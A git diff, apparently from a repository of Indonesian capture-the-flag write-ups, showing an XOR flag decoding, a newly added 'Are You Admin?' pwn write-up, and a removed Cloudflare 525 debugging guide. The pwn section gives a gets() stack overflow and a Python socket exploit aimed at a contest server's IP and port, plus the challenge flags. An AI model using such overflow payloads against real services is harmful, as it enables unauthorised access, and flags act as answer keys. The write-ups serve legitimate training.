|
**File:** `chall.c`
|
||||||
|
|
||||||
|
Flag di-XOR dengan kunci 1-byte `0x42`. Balikkan dengan XOR lagi:
|
||||||
|
|
||||||
|
```python
|
||||||
|
enc = [0x05, 0x07, 0x0f, 0x03, 0x11, 0x16, 0x0b, 0x09, 0x73, 0x7b, 0x39, 0x3a,
|
||||||
|
0x72, 0x30, 0x1d, 0x2b, 0x36, 0x1d, 0x20, 0x23, 0x21, 0x29, 0x1d, 0x76,
|
||||||
|
0x25, 0x23, 0x2b, 0x2c, 0x3f]
|
||||||
|
|
||||||
|
flag = "".join(chr(b ^ 0x42) for b in enc)
|
||||||
|
print(flag)
|
||||||
|
# GEMASTIK19{x0r_it_back_4gain}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{x0r_it_back_4gain}`
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
---
|
||||||
|
title: "Are You Admin? — Buffer Overflow"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Are You Admin?"
|
||||||
|
category: "pwn"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
|
||||||
|
|
||||||
|
**Server:** `nc 15.232.89.109 9001`
|
||||||
|
|
||||||
|
**Source (`chall.c`):**
|
||||||
|
|
||||||
|
```c
|
||||||
|
volatile int admin = 0;
|
||||||
|
char name[16];
|
||||||
|
gets(name); // <-- overflow, no bounds check
|
||||||
|
if (admin != 0) { /* print flag */ }
|
||||||
|
```
|
||||||
|
|
||||||
|
## Eksploitasi
|
||||||
|
|
||||||
|
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
|
||||||
|
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket, time
|
||||||
|
|
||||||
|
s = socket.socket()
|
||||||
|
s.connect(("15.232.89.109", 9001))
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
|
||||||
|
payload = b"A" * 20 + b"\xff\xff\xff\xff"
|
||||||
|
s.sendall(payload + b"\n")
|
||||||
|
time.sleep(1.2)
|
||||||
|
print(s.recv(4096).decode())
|
||||||
|
# -> GEMASTIK19{0v3rfl0w_ubah_var}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{0v3rfl0w_ubah_var}`
|
||||||
@@ -1,56 +0,0 @@
|
|||||||
---
|
|
||||||
id: cloudflare-525-writeup
|
|
||||||
title: Diagnosing Cloudflare 525 (Origin TLS Handshake Failed)
|
|
||||||
type: writeup
|
|
||||||
tags:
|
|
||||||
- cloudflare
|
|
||||||
- tls
|
|
||||||
- 525
|
|
||||||
- caddy
|
|
||||||
- debugging
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# Diagnosing Cloudflare 525 (Origin TLS Handshake Failed)
|
|
||||||
|
|
||||||
A 525 appears between the user and the origin when Cloudflare (Strict TLS mode) cannot
|
|
||||||
complete the TLS handshake to the origin server. This writeup captures the debugging
|
|
||||||
loop that recurred while wiring new subdomains.
|
|
||||||
|
|
||||||
## Symptom
|
|
||||||
|
|
||||||
`curl https://<sub>.asepharyana.my.id` → `HTTP/2 525`. Browser shows Cloudflare's
|
|
||||||
"SSL handshake failed" page.
|
|
||||||
|
|
||||||
## Root causes (in order of likelihood)
|
|
||||||
|
|
||||||
1. **No Caddy site block for the SNI.** Cloudflare proxies every `*.asepharyana.my.id`
|
|
||||||
record. A host without a matching Caddy `site` block has no certificate, so the
|
|
||||||
handshake dies. This is the #1 cause and the one that bit `wiki` and `mcp`.
|
|
||||||
2. **Certificate still provisioning.** The first request after adding a block triggers
|
|
||||||
ACME `http-01` issuance. Until the cert lands (~10s), the origin 525s. Self-heals.
|
|
||||||
3. **Wrong cert presented.** Rare here — Caddy serves the SNI-matched cert; a mismatch
|
|
||||||
means the block points at the wrong backend or the cert store is stale.
|
|
||||||
|
|
||||||
## The debugging loop
|
|
||||||
|
|
||||||
```
|
|
||||||
curl -sI https://<sub>/ # 525?
|
|
||||||
grep -n "<sub>" /etc/caddy/Caddyfile # block present?
|
|
||||||
sudo journalctl -u caddy | grep -i "tls\|acme\|<sub>" # cert issued?
|
|
||||||
openssl s_client -connect 127.0.0.1:443 -servername <sub> # origin cert valid?
|
|
||||||
```
|
|
||||||
|
|
||||||
If the block is missing: add `import proxy <port>`, `caddy validate`, `systemctl
|
|
||||||
reload caddy`. If the cert is mid-issuance: wait and re-test. Do **not** point Cloudflare
|
|
||||||
at a non-existent origin or set the SSL mode to Flexible — Flexible mode breaks already-
|
|
||||||
working Strict setups.
|
|
||||||
|
|
||||||
## Lesson
|
|
||||||
|
|
||||||
Every new subdomain needs (a) a Caddy site block and (b) a Cloudflare DNS record that
|
|
||||||
proxies to the origin. Omit either and you get a 525. The wildcard DNS means you only
|
|
||||||
add the Caddy side.
|
|
||||||
Reference in New Issue
Block a user